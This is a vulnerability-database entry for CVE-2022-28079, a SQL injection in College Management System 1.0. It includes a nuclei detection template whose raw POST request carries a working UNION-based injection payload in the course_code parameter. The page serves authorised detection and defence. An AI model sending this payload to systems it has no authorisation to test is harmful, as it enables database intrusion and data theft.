HexBrain

Browse / CVEs / CVE-2022-28079

CVE-2022-28079· college management system project / college management system· CWE-89

College Management System 1.0 - SQL Injection

highseverity
8.8CVSS score
28.5%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

College Management System 1.0 contains a SQL injection vulnerability via the course code parameter.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential manipulation of the database.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: POST /admin/asign-single-student-subjects.php
Positive when: contains "{{md5({{num}})}}" AND status 302

Run it with nuclei: nuclei -id CVE-2022-28079 -u <target>

The full check
id: CVE-2022-28079

info:
  name: College Management System 1.0 - SQL Injection
  author: ritikchaddha
  severity: high
  description: |
    College Management System 1.0 contains a SQL injection vulnerability via the course code parameter.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential manipulation of the database.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/erengozaydin/College-Management-System-course_code-SQL-Injection-Authenticated
    - https://download.code-projects.org/details/1c3b87e5-f6a6-46dd-9b5f-19c39667866f
    - https://nvd.nist.gov/vuln/detail/CVE-2022-28079
    - https://code-projects.org/college-management-system-in-php-with-source-code/
    - https://www.nu11secur1ty.com/2022/05/cve-2022-28079.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-28079
    cwe-id: CWE-89
    epss-score: 0.28512
    epss-percentile: 0.98146
    cpe: cpe:2.3:a:college_management_system_project:college_management_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: college_management_system_project
    product: college_management_system
  tags: cve,cve2022,sqli,cms,collegemanagement,college_management_system_project,vkev,vuln
variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /admin/asign-single-student-subjects.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        submit=Press&roll_no=3&course_code=sd' UNION ALL SELECT CONCAT(md5({{num}}),12,21),NULL,NULL,NULL,NULL#

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '{{md5({{num}})}}'

      - type: status
        status:
          - 302

References

Use this check only on systems you are authorised to test. Where the data comes from